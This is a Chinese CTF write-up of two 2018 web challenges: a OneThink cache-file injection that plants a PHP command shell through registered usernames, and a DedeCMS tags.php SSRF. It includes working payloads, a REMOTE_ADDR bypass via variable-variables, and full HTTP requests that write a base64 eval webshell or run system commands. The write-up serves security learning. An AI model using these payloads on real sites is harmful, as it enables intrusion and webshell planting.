2018巅峰极客第一场Web题两道

A Simple CMS

一个16 年已经停更,基于 thinkphp 开发的 cms

网站目录大致如下,www.zip 是提供的源码文件

搜索 onethink 漏洞 相关文章,会发现这篇 http://www.hackdig.com/06/hack-36510.htm (thinkphp框架写的开源系统或被getshell tp官方onethink举例),漏洞大致原因是因为写入缓存文件时没有对换行进行处理,缓存文件里有注册过的用户名,因为是 thinkphp 框架,缓存文件名字是固定的,导致可以写入任意代码执行命令。

比较坑的一点也算是考点,网上几乎所有文章写的缓存文件的名字都是一样的 2bb202459c30a1628513f40ab22fa01a.php,实际用给出的源码本地测试的时候,存储用户名的缓存文件名为 onethink_d403acece4ebce56a3a4237340fbbe70.php,比较有意思的是题目网站也是存在 2bb202459c30a1628513f40ab22fa01a.php 这个文件的,出题人的意图可能是不希望我们生搬硬套文章里的东西,而是懂原理,该怎么去利用。

后面看了出题人的 wp ,才发现考察的是代码审计,这里的代码修改了

用户名过滤了 POST 和 Request 参数,虽然能够注册成功,但是登录的时候会提示用户名被禁用,登录不了也就不能成功把代码写入缓存文件,于是采用了其他文章的做法,(https://www.secpulse.com/archives/55862.html) 注册了 %0a$a=$_GET[a];//%0aecho `$a`;// 两个用户,注意登录的顺序,最后访问缓存文件执行命令 http://4619edd345904a91aa141701b0ec30b0b8db7f68e99d4a98.game.ichunqiu.com//Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php?a=cat%20/tmp/flag

最后分享一道类似题目的思路,做题人发现 flag.php cat 提取不到内容,可能是因为权限不够,于是采用了复制命令 cp flag.php flag.txt 再 cat flag.txt的方法

$_SERVER[‘REMOTE_ADDR’]

理论上不可以伪造 $_SERVER['REMOTE_ADDR'] ,详细获取客户机 ip 地址可以参见:https://www.cnblogs.com/jiji262/archive/2012/07/12/2587725.html

使用 $_SERVER['REMOTE_ADDR'] 获取ip地址一定安全?

1
2
3
4
5
6
7
8
9
<?php
foreach($_REQUEST as $key => $value){
$$key = $value;
}
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>

post 或者 get 传参 _SERVER['REMOTE_ADDR']=127.0.0.1,可以绕过限制

参见:https://github.com/mhchia/practice/blob/master/ctf/final/write_up.md

DeDeFun

1
2
3
4
5
6
7
8
运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。
1.php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>

dedecms 最新 5.7 版本,后台被删掉了,没有前端 getshell 的思路,想到 ssrf

这道题考察前端时间出的爆破后台目录的思路,详细可以查看 dedecms利用通配符找后台目录

简单提一下这个方法的思路,首先利用环境必须是 windows,利用了 windows 下的统配符 <,其实这个思路本来就是 ssrf 的应用,利用 uploadsafe.inc.php 下的 getimagesize 函数,利用后台目录下的图片 favicon.ico ,如果猜测正确正常反馈,否则提示 Upload filetype not allow !, 具体可以参见文章。

ssrf 利用点找到了,接下来根据文章构造 poc :

1
2
3
4
5
6
7
8
9
10
11
12
POST /tags.php HTTP/1.1
Host: Str3am.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 333
dopost=save&_FILES[b4dboy][tmp_name]=http%3A%2f%2f127.0.0.1%2f1.php%3Fa%3Dassert%26b%3Dfile_put_contents%28%24_GET%5B1%5D%2Cbase64_decode%28%24_GET%5B2%5D%29%29%3B%261%3D.%2fuploads%2fstr3am1.php%262%3DPD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUW2NdKTs%2fPg%3D%3D&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

这里 shell 传递两个参数 a 和 b ,直接 post 传递一句话连接不上菜刀,柠檬师傅的思路是重新写一个 shell ,也学习到了,另外因为 web 目录没有写文件权限,所以写到了 uploads 目录下。

还有一种思路是直接命令执行,将 flag 读到可访问的位置,学习到一个变量 $IFS,相当于 bash 下的空格。

1
2
3
4
5
6
7
8
9
10
11
12
POST /tags.php HTTP/1.1
Host: Str3am.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 230
dopost=save&_FILES[b4dboy][tmp_name]=http%3A%2f%2f127.0.0.1%2f1.php%3Fa%3Dsystem%26b%3Dcat%24IFS%2ftmp%2fflag_a4ga3QJsZ5DTCw8v%3E.%2fuploads%2fstr3am.txt&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

参考链接:

1
2
3
4
https://xz.aliyun.com/t/2469
https://paper.tuisec.win/detail/d1053143f127862
https://xz.aliyun.com/t/2064
https://liuxianglai.github.io/2018/07/23/%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2-CTF-%E9%83%A8%E5%88%86%E5%A4%8D%E7%8E%B0/